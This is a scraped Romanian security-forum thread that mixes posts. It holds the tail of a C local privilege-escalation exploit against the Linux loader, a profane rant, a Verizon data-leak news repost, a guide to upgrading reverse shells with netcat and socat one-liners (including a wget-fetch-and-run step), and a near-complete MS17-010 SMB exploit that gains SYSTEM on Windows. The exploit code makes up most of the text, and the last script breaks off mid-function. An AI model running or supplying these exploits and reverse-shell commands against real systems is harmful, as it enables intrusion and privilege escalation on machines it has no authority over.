i++) { *ap++ = NEEDED; } *ap++ = NULL; if (ap != argv + args) die(); } const size_t envs = 1 + 2; char ** const envp = calloc(envs, sizeof(char *)); if (!envp) die(); { char ** ep = envp; *ep++ = llp; *ep++ = lhcm; *ep++ = NULL; if (ep != envp + envs) die(); } { static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY }; if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die(); } int pipefd[2]; if (pipe(pipefd)) die(); if (close(pipefd[0])) die(); pipefd[0] = -1; if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die(); create_needed_lib(NEEDED); size_t try; for (try = 1; try <= 65536; try++) { if (fflush(stdout)) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { if (dup2(pipefd[1], 1) != 1) die(); if (dup2(pipefd[1], 2) != 2) die(); execve(*argv, argv, envp); die(); } int status = 0; struct timeval start, stop, diff; if (gettimeofday(&start, NULL)) die(); if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (gettimeofday(&stop, NULL)) die(); timersub(&stop, &start, &diff); printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec); if (WIFSIGNALED(status)) { printf("signal %d\n", WTERMSIG(status)); switch (WTERMSIG(status)) { case SIGPIPE: case SIGSEGV: case SIGBUS: break; default: die(); } } else if (WIFEXITED(status)) { printf("exited %d\n", WEXITSTATUS(status)); } else if (WIFSTOPPED(status)) { printf("stopped %d\n", WSTOPSIG(status)); die(); } else { printf("unknown %d\n", status); die(); } } die(); } Sursa: https://www.exploit-db.com/exploits/42276/

Da, e foarte interesant. Ma gandeam ca era "ptrace" si dynamic linking/loader a apus. Cine are ceva timp liber, poate citi ceva putin mai vechi si interesant pe aici: https://www.virusbulletin.com/virusbulletin/2014/07/mayhem-hidden-threat-nix-web-servers

Da, dar e interesant ca exploit in sine, in scopuri de research.

Hai sa iti povestesc ceva, poate o sa te opresti cu postarile astea. Am apreciat in multe din postarile tale trecute (legate de programare in general) ca incercai. Pula mea, nu iesea ceva, postai aici. Parea ca o sa ajungi undeva si ca o iei pe un drum okay. Acum daca ma uit in istoricu' postarilor tale, ai asa (ordine aleatoare): - fitness - PPI (sau cum pula mea se cheama cacatu' ala cu click-uri) - stomatologie - off-shores / dropshipping - forex - contabilitate - site de iteme cs-go - etc... Toate cele de mai sus intr-un interval super scurt. Acu' na, nu e nevoie sa ma asculti, majoritatea de aici stiu ca fac multa caterinca, stiu ca sunt un retardat, handicapat, prost si ca ma doare-n pula de absolut orice exista pe planeta asta in special tigani, biserica si politica. Unde vreau sa ajung cu asta? Cois, treziti-va "an" pula mea! Terminati cu forex / ppi / fbi / nsa / plm / fmm etc. Sau tineti-va in moloz de una din ele si bagati pana vedeti ca iese banu' sau ca esuati. Mai ales astia care aveti cate ceva la mansarda si puteti sa profitati de pe urma asta. Mi-aduc aminte ca si eu eram asa: - mama ce idee de aplicatie am. Devin milionar. - sa-mi bag pula ce idee mi-a venit, gata rup google apps - bag pula-n ea programare, ma apuc de poker. - ma fac futangiu pe macarale Si am tinut-o asa vreun an ca sa realizez ca eram un lache de doi lei (bine, si acum sunt) care nu facuse nimic, pierdea timpu' in pula cu satelitu' si cam atat. M-am oprit, m-am axat pe progra & stuff si acum ma doare in pula, fac ce-mi place si fac misto cu @fallen_angel @Gecko @badluck @aelius etc... pe chat cat sunt la birou pentru ca totu' mi se pare lejer si usor si fain. Unde sunt trilionarii ? Sunt peste tot man, doar ca ei nu deschid 9 topicuri pe luna, fiecare din ele avand un subiect total diferit. Baga-ti mintile in cap si revin-o in pula mea cu picioarele pe pamant. //PS: e misto sa pui intrebari, sa vrei sa stii chestii s.a.m.d... insa asta o poti face pe chat, in timpu' liber, cand iei o pauza de la ceea ce conteaza cu adevarat. In viata nu le poti avea pe toate //PS2: Pentru cei plictisiti de postarea mea, luati aici:

Verizon, the major telecommunications provider, has suffered a data security breach with over 14 million US customers' personal details exposed on the Internet after NICE Systems, a third-party vendor, mistakenly left the sensitive users’ details open on a server. Chris Vickery, researcher and director of cyber risk research at security firm UpGuard, discovered the exposed data on an unprotected Amazon S3 cloud server that was fully downloadable and configured to allow public access. The exposed data includes sensitive information of millions of customers, including their names, phone numbers, and account PINs (personal identification numbers), which is enough for anyone to access an individual's account, even if the account is protected by two-factor authentication. NICE Systems is an Israel-based company that is known for offering wide-range of solutions for intelligence agencies, including telephone voice recording, data security, and surveillance. According to the researcher, it is unknown that why Verizon has allowed a 3rd party company to collect call details of its users, however, it appears that NICE Systems monitors the efficiency of its call-center operators for Verizon. The exposed data contained records of customers who called the Verizon's customer services in the past 6 months, which are recorded, obtained and analyzed by NICE. Interestingly, the leaked data on the server also indicates that NICE Systems has a partnership with Paris-based popular telecommunication company "Orange," for which it also collects customer details across Europe and Africa. Vickery had privately informed Verizon team about the exposure in late June, and the data was then secured within a week. Vickery is a reputed researcher, who has previously tracked down many exposed datasets on the Internet. Just last month, he discovered an unsecured Amazon S3 server owned by data analytics firm Deep Root Analytics (DRA), which exposed information of more than 198 Million United States citizens, that's over 60% of the US population. In March this year, Vickery discovered a cache of 60,000 documents from a US military project for the National Geospatial-Intelligence Agency (NGA) which was also left unsecured on Amazon cloud storage server for anyone to access. In the same month, the researcher also discovered an unsecured and publicly exposed database, containing nearly 1.4 Billion user records, linked to River City Media (RCM). In 2015, Vickery also reported a huge cache of more than 191 Million US voter records and details of as many as 13 Million MacKeeper users. Via thehackernews.com

Banned - 3 months and 30 days. Poate inveti ceva intre timp.

Conversatie la un alt nivel pe semi-comunitatea noastra de IT-isti. Sfanta evanghelie trebuie propovaduita si aici http://sprunge.us/JNjG

Upgrading simple shells to fully interactive TTYs 10 JULY 2017 Table of Contents Generating reverse shell commands Method 1: Python pty module Method 2: Using socat Method 3: Upgrading from netcat with magic tl;dr cheatsheet Every pentester knows that amazing feeling when they catch a reverse shell with netcat and see that oh-so-satisfying verbose netcat message followed by output from id. And if other pentesters are like me, they also know that dreadful feeling when their shell is lost because they run a bad command that hangs and accidentally hit "Ctrl-C" thinking it will stop it but it instead kills the entire connection. Besides not correctly handling SIGINT, these"dumb" shells have other shortcomings as well: Some commands, like su and ssh require a proper terminal to run STDERR usually isn't displayed Can't properly use text editors like vim No tab-complete No up arrow history No job control Etc... Long story short, while these shells are great to catch, I'd much rather operate in a fully interactive TTY. I've come across some good resources that include very helpful tips and techniques for "upgrading" these shells, and wanted to compile and share in a post. Along with Pentest Monkey, I also learned the techniques from Phineas Fisher in his released videos and writeups of his illegal activities: Pentest Monkey - Post Exploitation Without a TTY Phineas Fisher Hacks Catalan Police Union Website Phineas Fisher - Hackingteam Writeup For reference, in all the screenshots and commands to follow, I am injecting commands in to a vulnerable web server ("VICTIM") and catching shells from my Kali VM ("KALI"): VICTIM IP: 10.0.3.7 KALI IP: 10.0.3.4 Generating reverse shell commands Everyone is pretty familiar with the traditional way of using netcat to get a reverse shell: nc -e /bin/sh 10.0.3.4 4444 and catching it with: nc -lvp 4444 The problem is not every server has netcat installed, and not every version of netcat has the -e option. Pentest Monkey has a great cheatsheet outlining a few different methods, but my favorite technique is to use Metasploit's msfvenom to generate the one-liner commands for me. Metasploit has several payloads under "cmd/unix" that can be used to generate one-liner bind or reverse shells: Any of these payloads can be used with msfvenom to spit out the raw command needed (specifying LHOST, LPORT or RPORT). For example, here's a netcat command not requiring the -e flag: And here's a Perl oneliner in case netcat isn't installed: These can all be caught by using netcat and listening on the port specified (4444). Method 1: Python pty module One of my go-to commands for a long time after catching a dumb shell was to use Python to spawn a pty. The pty module let's you spawn a psuedo-terminal that can fool commands like su into thinking they are being executed in a proper terminal. To upgrade a dumb shell, simply run the following command: python -c 'import pty; pty.spawn("/bin/bash")' This will let you run su for example (in addition to giving you a nicer prompt) Unfortunately, this doesn't get around some of the other issues outlined above. SIGINT (Ctrl-C) will still close Netcat, and there's no tab-completion or history. But it's a quick and dirty workaround that has helped me numerous times. Method 2: Using socat socat is like netcat on steroids and is a very powerfull networking swiss-army knife. Socat can be used to pass full TTY's over TCP connections. If socat is installed on the victim server, you can launch a reverse shell with it. You must catch the connection with socat as well to get the full functions. The following commands will yield a fully interactive TTY reverse shell: On Kali (listen): socat file:`tty`,raw,echo=0 tcp-listen:4444 On Victim (launch): socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 If socat isn't installed, you're not out of luck. There are standalone binaries that can be downloaded from this awesome Github repo: https://github.com/andrew-d/static-binaries With a command injection vuln, it's possible to download the correct architecture socat binary to a writable directoy, chmod it, then execute a reverse shell in one line: wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 On Kali, you'll catch a fully interactive TTY session. It supports tab-completion, SIGINT/SIGSTP support, vim, up arrow history, etc. It's a full terminal. Pretty sweet. Method 3: Upgrading from netcat with magic I watched Phineas Fisher use this technique in his hacking video, and it feels like magic. Basically it is possible to use a dumb netcat shell to upgrade to a full TTY by setting some stty options within your Kali terminal. First, follow the same technique as in Method 1 and use Python to spawn a PTY. Once bash is running in the PTY, background the shell with Ctrl-Z While the shell is in the background, now examine the current terminal and STTY info so we can force the connected shell to match it: The information needed is the TERM type ("xterm-256color") and the size of the current TTY ("rows 38; columns 116") With the shell still backgrounded, now set the current STTY to type raw and tell it to echo the input characters with the following command: stty raw -echo With a raw stty, input/output will look weird and you won't see the next commands, but as you type they are being processed. Next foreground the shell with fg. It will re-open the reverse shell but formatting will be off. Finally, reinitialize the terminal with reset. Note: I did not type the nc command again (as it might look above). I actually entered fg, but it was not echoed. The nc command is the job that is now in the foreground. The reset command was then entered into the netcat shell After the reset the shell should look normal again. The last step is to set the shell, terminal type and stty size to match our current Kali window (from the info gathered above) $ export SHELL=bash $ export TERM=xterm256-color $ stty rows 38 columns 116 The end result is a fully interactive TTY with all the features we'd expect (tab-complete, history, job control, etc) all over a netcat connection: The possibilities are endless now. Tmux over a netcat shell?? Why not? tl;dr cheatsheet Cheatsheet commands: Using Python for a psuedo terminal python -c 'import pty; pty.spawn("/bin/bash")' Using socat #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 Using stty options # In reverse shell $ python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z # In Kali $ stty raw -echo $ fg # In reverse shell $ reset $ export SHELL=bash $ export TERM=xterm-256color $ stty rows <num> columns <cols> Any other cool techniques? Let me know in the comments or hit me up on twitter. Enjoy! -ropnop Sursa: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Haha, ce penal este. Au existat de-a lungul timpului zeci de exploit-uri pentru privilegii locale pe ldso. Trebuie precizat ca functioneaza doar pe platformele x86 (32 bit) si nu pe 64 bits. Asta face ca impactul acestui exploit sa nu fie asa mare. Absolut toate procesoarele moderne suporta sisteme de operare pe 64 bits iar probabilitatea ca cineva sa tina un Debian x86 chiar si pe laptop este foarte mica. Pe servere nu am vazut un 32bit de prin 2006-2007

#!/usr/bin/python from impacket import smb, smbconnection from mysmb import MYSMB from struct import pack, unpack, unpack_from import sys import socket import time ''' MS17-010 exploit for Windows 7+ by sleepya Note: - The exploit should never crash a target (chance should be nearly 0%) - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed Tested on: - Windows 2016 x64 - Windows 2012 R2 x64 - Windows 8.1 x64 - Windows 2008 R2 SP1 x64 - Windows 7 SP1 x64 - Windows 8.1 x86 - Windows 7 SP1 x86 ''' USERNAME = '' PASSWORD = '' ''' Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() win7 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; PACCESS_TOKEN Token; // 0x08 DWORD xx2; BOOLEAN CopyOnOpen; // 0x14 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x18 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x20 } win2012 x64 struct SrvSecContext { DWORD xx1; // second WORD is size DWORD refCnt; QWORD xx2; QWORD xx3; PACCESS_TOKEN Token; // 0x18 DWORD xx4; BOOLEAN CopyOnOpen; // 0x24 BOOLEAN EffectiveOnly; WORD xx3; DWORD ImpersonationLevel; // 0x28 DWORD xx4; BOOLEAN UsePsImpersonateClient; // 0x30 } SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns STATUS_SUCCESS when Token is NULL. If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) to do all SMB operations. Note: fake Token might be possible, but NULL token is much easier. ''' WIN7_INFO = { 'SESSION_SECCTX_OFFSET': 0xa0, 'SESSION_ISNULL_OFFSET': 0xba, 'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x28, } WIN7_32_INFO = { 'SESSION_SECCTX_OFFSET': 0x80, 'SESSION_ISNULL_OFFSET': 0x96, 'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x1c, } # win8+ info WIN8_INFO = { 'SESSION_SECCTX_OFFSET': 0xb0, 'SESSION_ISNULL_OFFSET': 0xca, 'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x38, } WIN8_32_INFO = { 'SESSION_SECCTX_OFFSET': 0x88, 'SESSION_ISNULL_OFFSET': 0x9e, 'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1), 'SECCTX_SIZE': 0x24, } X86_INFO = { 'PTR_SIZE' : 4, 'PTR_FMT' : 'I', 'FRAG_TAG_OFFSET' : 12, 'POOL_ALIGN' : 8, 'SRV_BUFHDR_SIZE' : 8, 'TRANS_SIZE' : 0xa0, # struct size 'TRANS_FLINK_OFFSET' : 0x18, 'TRANS_INPARAM_OFFSET' : 0x40, 'TRANS_OUTPARAM_OFFSET' : 0x44, 'TRANS_INDATA_OFFSET' : 0x48, 'TRANS_OUTDATA_OFFSET' : 0x4c, 'TRANS_FUNCTION_OFFSET' : 0x72, 'TRANS_MID_OFFSET' : 0x80, } X64_INFO = { 'PTR_SIZE' : 8, 'PTR_FMT' : 'Q', 'FRAG_TAG_OFFSET' : 0x14, 'POOL_ALIGN' : 0x10, 'SRV_BUFHDR_SIZE' : 0x10, 'TRANS_SIZE' : 0xf8, # struct size 'TRANS_FLINK_OFFSET' : 0x28, 'TRANS_INPARAM_OFFSET' : 0x70, 'TRANS_OUTPARAM_OFFSET' : 0x78, 'TRANS_INDATA_OFFSET' : 0x80, 'TRANS_OUTDATA_OFFSET' : 0x88, 'TRANS_FUNCTION_OFFSET' : 0xb2, 'TRANS_MID_OFFSET' : 0xc0, } def wait_for_request_processed(conn): #time.sleep(0.05) # send echo is faster than sleep(0.05) when connection is very good conn.send_echo('a') special_mid = 0 extra_last_mid = 0 def reset_extra_mid(conn): global extra_last_mid, special_mid special_mid = (conn.next_mid() & 0xff00) - 0x100 extra_last_mid = special_mid def next_extra_mid(): global extra_last_mid extra_last_mid += 1 return extra_last_mid # Borrow 'groom' and 'bride' word from NSA tool # GROOM_TRANS_SIZE includes transaction name, parameters and data GROOM_TRANS_SIZE = 0x5010 def calc_alloc_size(size, align_size): return (size + align_size - 1) & ~(align_size-1) def leak_frag_size(conn, tid, fid, info): # A "Frag" pool is placed after the large pool allocation if last page has some free space left. # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version. # To make exploit more generic, exploit does info leak to find a "Frag" pool size. # From the leak info, we can determine the target architecture too. mid = conn.next_mid() req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4) req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes conn.send_raw(req1[:-8]) conn.send_raw(req1[-8:]+req2) leakData = conn.recv_transaction_data(mid, 0x10d0+276) leakData = leakData[0x10d4:] # skip parameters and its own input if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': print('Target is 32 bit') if info['SESSION_SECCTX_OFFSET'] == WIN7_INFO['SESSION_SECCTX_OFFSET']: info.update(WIN7_32_INFO) elif info['SESSION_SECCTX_OFFSET'] == WIN8_INFO['SESSION_SECCTX_OFFSET']: info.update(WIN8_32_INFO) else: print('The exploit does not support this 32 bit target') sys.exit() info.update(X86_INFO) elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag': print('Target is 64 bit') info.update(X64_INFO) else: print('Not found Frag pool tag in leak data') sys.exit() # Calculate frag pool size info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN'] print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE'])) # groom: srv buffer header info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN']) print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE'])) # groom paramters and data is alignment by 8 because it is NT_TRANS info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE'] # empty transaction name (4), alignment (4) # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4) bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE'] info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN']) print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE'])) # bride paramters and data is alignment by 4 because it is TRANS info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE'] # empty transaction name (4) return info['FRAG_POOL_SIZE'] def align_transaction_and_leak(conn, tid, fid, info, numFill=4): trans_param = pack('<HH', fid, 0) # param for NT_RENAME # fill large pagedpool holes (maybe no need) for i in range(numFill): conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0) mid_ntrename = conn.next_mid() req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0) req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000) reqs = [] for i in range(12): mid = next_extra_mid() reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0)) conn.send_raw(req1[:-8]) conn.send_raw(req1[-8:]+req2+req3+''.join(reqs)) # expected transactions alignment ("Frag" pool is not shown) # # | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE | # +-------------------------------+----------------+-------------------------------+----------------+ # | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 | # +-------------------------------+----------------+-------------------------------+----------------+ # # If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked. # From leaked transaction, we get # - leaked transaction address from InParameter or InData # - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink # With these information, we can verify the transaction aligment from displacement. leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276) leakData = leakData[0x10d4:] # skip parameters and its own input #open('leak.dat', 'wb').write(leakData) if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag': print('Not found Frag pool tag in leak data') return None # ================================ # verify leak data # ================================ leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:] # check pool tag and size value in buffer header expected_size = pack('<H', info['BRIDE_TRANS_SIZE']) leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size: print('No transaction struct in leak data') return None leakTrans = leakData[leakTransOffset:] ptrf = info['PTR_FMT'] _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8) inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0] leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0] print('CONNECTION: 0x{:x}'.format(connection_addr)) print('SESSION: 0x{:x}'.format(session_addr)) print('FLINK: 0x{:x}'.format(flink_value)) print('InParam: 0x{:x}'.format(inparam_value)) print('MID: 0x{:x}'.format(leak_mid)) next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000 if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value: print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr)) return None # trans1: leak transaction # trans2: next transaction return { 'connection': connection_addr, 'session': session_addr, 'next_page_addr': next_page_addr, 'trans1_mid': leak_mid, 'trans1_addr': inparam_value - info['TRANS_SIZE'] - 4, 'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'], 'special_mid': special_mid, } def read_data(conn, info, read_addr, read_size): fmt = info['PTR_FMT'] # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data # modify trans2.*ParameterCount and trans2.*DataCount to limit data new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME) conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET']) # create one more transaction before leaking data # - next transaction can be used for arbitrary read/write after the current trans2 is done # - next transaction address is from TransactionListEntry.Flink value conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000) # finish the trans2 to leak conn.send_nt_trans_secondary(mid=info['trans2_mid']) read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size) # set new trans2 address info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET'] # set trans1.InData to &trans2 conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # modify trans2 mid conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) wait_for_request_processed(conn) return read_data[8:] # no need to return parameter def write_data(conn, info, write_addr, write_data): # trans2.InData conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # write data conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data) wait_for_request_processed(conn) def exploit(target, pipe_name): conn = MYSMB(target) # set NODELAY to make exploit much faster conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) info = {} conn.login(USERNAME, PASSWORD, maxBufferSize=4356) server_os = conn.get_server_os() print('Target OS: '+server_os) if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"): info.update(WIN7_INFO) elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "): info.update(WIN8_INFO) else: print('This exploit does not support this target') sys.exit() # ================================ # try align pagedpool and leak info until satisfy # ================================ leakInfo = None # max attempt: 10 for i in range(10): tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids. fid = conn.nt_create_andx(tid, pipe_name) if 'FRAG_POOL_SIZE' not in info: leak_frag_size(conn, tid, fid, info) reset_extra_mid(conn) leakInfo = align_transaction_and_leak(conn, tid, fid, info) if leakInfo is not None: break print('leak failed... try again') conn.close(tid, fid) conn.disconnect_tree(tid) if leakInfo is None: return False info['fid'] = fid info.update(leakInfo) # ================================ # shift trans1.Indata ptr with SmbWriteAndX # ================================ shift_indata_byte = 0x200 conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte) # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place. # So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong. # maxParameterCount (0x1000), trans name (4), param (4) indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte indata_next_trans_displacement = info['trans2_addr'] - indata_value conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET']) wait_for_request_processed(conn) # if the overwritten is correct, a modified transaction mid should be special_mid now. # a new transaction with special_mid should be error. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='') if recvPkt.getNTStatus() != 0x10002: # invalid SMB print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus())) print('!!! Write to wrong place !!!') print('the target might be crashed') sys.exit() print('success controlling groom transaction') # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly # but this method make the transation never get freed # I will avoid memory leak # ================================ # modify trans1 struct to be used for arbitrary read/write # ================================ print('modify trans1 struct for arbitrary read/write') fmt = info['PTR_FMT'] # modify trans_special.InData to &trans1 conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET']) wait_for_request_processed(conn) # modify # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself # - trans1.InData to &trans2. so we can modify trans2 easily conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET']) wait_for_request_processed(conn) # modify trans2.mid info['trans2_mid'] = conn.next_mid() conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET']) # Now, read_data() and write_data() can be used for arbitrary read and write. # ================================ # Modify this SMB session to be SYSTEM # ================================ # Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this # method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult. print('make this SMB session to be SYSTEM') # IsNullSession = 0, IsAdmin = 1 write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01') # read session struct to get SecurityContext address sessionData = read_data(conn, info, info['session'], 0x100) secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] # copy SecurityContext for restoration secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE']) print('overwriting session security context') # see FAKE_SECCTX detail at top of the file write_data(conn, info, secCtxAddr, info['FAKE_SECCTX']) # ================================ # do whatever we want as SYSTEM over this SMB connection # ================================ try: smb_pwn(conn) except: pass # restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked. write_data(conn, info, secCtxAddr, secCtxData) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() return True def smb_pwn(conn): smbConn = smbconnection.SMBConnection(conn.get_remote_host(), conn.get_remote_host(), existingConnection=conn, manualNegotiate=True) print('creating file c:\\pwned.txt on the target') tid2 = smbConn.connectTree('C$') fid2 = smbConn.createFile(tid2, '/pwned.txt') smbConn.closeFile(tid2, fid2) smbConn.disconnectTree(tid2) #service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') # based on impacket/examples/serviceinstall.py def service_exec(smbConn, cmd): import random import string from impacket.dcerpc.v5 import transport, srvs, scmr service_name = ''.join([random.choice(string.letters) for i in range(4)]) # Setup up a DCE SMBTransport with the connection already in place rpctransport = transport.SMBTransport(smbConn.getRemoteHost(), smbConn.getRemoteHost(), filename=r'\svcctl', smb_connection=smbConn) rpcsvc = rpctransport.get_dce_rpc() rpcsvc.connect() rpcsvc.bind(scmr.MSRPC_UUID_SCMR) svnHandle = None try: print("Opening SVCManager on %s....." % smbConn.getRemoteHost()) resp = scmr.hROpenSCManagerW(rpcsvc) svcHandle = resp['lpScHandle'] # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00') except Exception, e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1: 